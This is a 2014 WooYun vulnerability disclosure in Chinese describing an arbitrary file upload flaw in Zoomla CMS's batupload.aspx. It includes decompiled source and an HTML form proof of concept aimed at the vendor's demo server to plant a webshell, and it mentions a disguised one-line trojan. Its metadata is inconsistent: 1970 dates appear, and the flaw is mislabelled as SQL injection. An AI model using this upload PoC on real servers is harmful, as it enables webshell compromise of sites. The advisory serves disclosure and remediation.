当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-047721

漏洞标题:逐浪CMS任意文件类型上传获取webshell

相关厂商:逐浪CMS

漏洞作者: what_news

提交时间:2014-01-05 16:57

修复时间:2014-01-10 16:57

公开时间:2014-01-10 16:57

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-05: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2014-01-10: 细节向公众公开

简要描述:

没有对上传文件类型进行判断,可直接上传动态脚本获取webshell

详细说明:

从官网下载cms代码 在源码目录下的edit目录下batupload.aspx文件
通过反编译看到源码如下

protected void Page_Load(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(base.Request.QueryString["case"]))
{
string str = base.Server.UrlDecode(base.Request.QueryString["case"]);
if (!Directory.Exists(base.Server.MapPath("~/UploadFiles/DocTemp/" + str)))
{
Directory.CreateDirectory(base.Server.MapPath("~/uploadFiles/DocTemp/" + str));
}
string str2 = base.Server.MapPath("~/uploadFiles/DocTemp/" + str + "/");
base.Response.Clear();
string str3 = base.Request.Params["ID"];
string str4 = "test";
if (!string.IsNullOrEmpty(str3))
{
str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]);
}
string str5 = base.Request.Params["DocType"];
str4 = base.Server.UrlDecode(base.Request.Params["DocTitle"]);
base.Server.UrlDecode(base.Request.Params["content"]);
if (str5 == "")
{
str5 = "doc";
}
str5 = str5.Substring(0, 3);
if (base.Request.Files.Count > 0)
{
HttpPostedFile file = base.Request.Files[0];
int contentLength = file.ContentLength;
byte[] buffer = new byte[contentLength];
file.InputStream.Read(buffer, 0, contentLength);
if (!File.Exists(str2 + str4))
{
using (File.Create(str2 + str4))
{
}
}
File.WriteAllBytes(str2 + str4, buffer);
}
base.Response.ContentType = "text/plain";
base.Response.Write("Complete");
base.Response.Flush();
base.Response.End();
}
}


DocTitle参数可控制最后上传的文件名,case为设置上传到/uploadFiles/DocTemp/下的目录,随便设置DocType的值长度大于防止程序出错,就可构造任意文件上传了

漏洞证明:

上传poc

<html>
<head><title>xss</title></head>
<form action="http://demo.zoomla.cn/Edit/batupload.aspx?case=2" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="hidden" name="DocTitle" value="111111.aspx" />
<input type="hidden" name="DocType" value="12345" />
<input type="submit" />
</form>
</html>


如图 仅仅测试而已 不知道为啥传aspx格式的文件不行,把一句话木马的文件改成图片格式就可以了 不知道服务器上有什么东西拦截了

QQ截图20140102214227.png

修复方案:

对上传文件的类型进行白名单过滤。

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-10 16:57

厂商回复:

最新状态:

暂无